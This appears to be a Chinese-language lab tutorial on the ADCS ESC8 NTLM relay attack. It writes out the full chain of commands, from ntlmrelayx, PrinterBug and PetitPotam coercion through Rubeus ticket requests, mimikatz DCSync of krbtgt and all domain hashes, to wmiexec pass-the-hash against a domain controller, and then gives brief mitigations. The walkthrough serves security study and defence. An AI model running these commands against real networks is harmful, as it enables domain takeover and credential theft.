【ADCS系列】ESC8 ADCS Relay

本文涉及的产品
.cn 域名,1个 12个月
简介: 由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务

一、ADCS  Relay漏洞简介:

由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务





二、实验环境:

继上一篇文章所搭建的环境进行复现->

环境搭建篇

win2012 R2(域控)ip:192.168.136.100

win2012 R2(额外域控)ip:192.168.136.120(ADCS证书服务器)

win2008 R2(域内机器)ip:192.168.136.80

kali(攻击机):192.168.136.144




三、复现过程:

win 2008 R2作为域内普通用户权限机器,注入票据、pth等操作都在此完成,以接近实际环境



1、定位ADCS证书服务器:


certutil -config - -ping



证书服务器web页面:


http://证书服务器域名/certsrv/certfnsh.asp




要更新为这个版本的impacket,具体用git pull 更新下,然后执行setup.py安装一遍就行了:

https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack




首先使用ntlmrelay.py开启监听:


python3 ntlmrelayx.py -t http://192.168.136.120/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'


PS:需要将默认的http服务先关掉,否则会报错:address is already in use:



①使用打印机服务printerbug触发:


python3 printerbug.py 域名/域用户账号:域用户密码@域控ip 开启ntlmrelay监听的攻击机ip



②使用Petitpotam,利用FSRPC协议强连触发:


python3 Petitpotam.py -u 域用户账号 -p 域用户密码 -d 域名 开启ntlmrelay监听的攻击机ip 域控ip



然后ntlmrelay就会成功relay到base64编码的证书:



然后利用Rubeus.exe导入证书数据,获取tgt并注入:


Rubeus.exe asktgt /user:证书的user$ /certificate:base64编码的证书内容 /ppt



执行结果,成功获取到了TGT:



可以使用mimikatz导出krbtgt用户的hash:


kerberos::list       #查看kerberos票据




lsadump::dcsync /user:krbtgt /csv       #导出krbtgt用户的hash



以及可以dcsync导出域内所有hash:


lsadump::dcsync /all


或者手动注入票据,使用kekeo,然后再配合impacket利用:



获取到hash后可以进行pth到主域控:



wmiexec.exe -hashes :NTLMHash值 域名/用户名@目标IP可以看到ip信息为主域控ip,权限为域管




三、防御措施:

1、如果不需要,可以关闭证书服务的web端点。

2、可以将certsrv,该iis配置中的ntlm认证删除,这样就无法使用ntlm进行认证,也就阻止了relay攻击




目录
相关文章
|
5月前
|
Linux 数据处理
Linux命令reset详解
`reset`命令在Linux中用于修复终端显示异常,它是`tset`的软链接。通过重置显示属性和参数,恢复终端正常状态。特点包括自动检测终端类型、多参数支持及恢复显示设置。常用参数有 `-e`, `-i`, `-k` 用于设置控制字符,`-V` 显示ncurses版本。在终端出现问题时,简单运行`reset`即可重置,定期使用可维护终端整洁。记得确保已安装ncurses库。
|
7月前
|
开发工具
如何在 Vim / Vi 中撤消和重做?
【4月更文挑战第19天】
389 0
如何在 Vim / Vi 中撤消和重做?
|
SQL 存储 关系型数据库
MySQL中的二进制日志(binlog)与中继日志(Relay log)
MySQL中的二进制日志(binlog)与中继日志(Relay log)
737 0
|
7月前
|
SQL 存储 关系型数据库
认真学习MySQL中的二进制日志(binlog)与中继日志(Relay log)
认真学习MySQL中的二进制日志(binlog)与中继日志(Relay log)
314 0
|
关系型数据库 数据库 MySQL
|
SQL 存储 关系型数据库
再深入一点|binlog和relay-log到底长啥样?
上一篇mysql面试的文章之后收到不少朋友的意见,希望深入讲讲复制、日志的格式这些,今天,我们就来深挖一下mysql的复制机制到底有哪一些,以及binlog和relay-log的结构到底是什么样子的。
再深入一点|binlog和relay-log到底长啥样?
|
Linux 前端开发
esc服务器
第一次使用阿里云的esc服务器,真是方便,简单,容易上手,节省时间,稍微了解一下操作就可以直接上手,还有成长路线,成长课程,真的是爱了爱了。
319 0
esc服务器
ESC服务器的使用
1.个人陈述 2.使用经验 3.收获
|
大数据
我的第一次使用esc服务器
我是一名大三学生,这不是暑假了吗,等开学就大四了,就读的专业是网络工程专业,我通过学校上的那个大数据的课程了解到阿里云有这个对学生的优惠,真的好用,我已经跟我同学他们说了,服务器真的太好用了。
|
运维 前端开发 程序员
我的esc服务器
我的esc体验之旅
我的esc服务器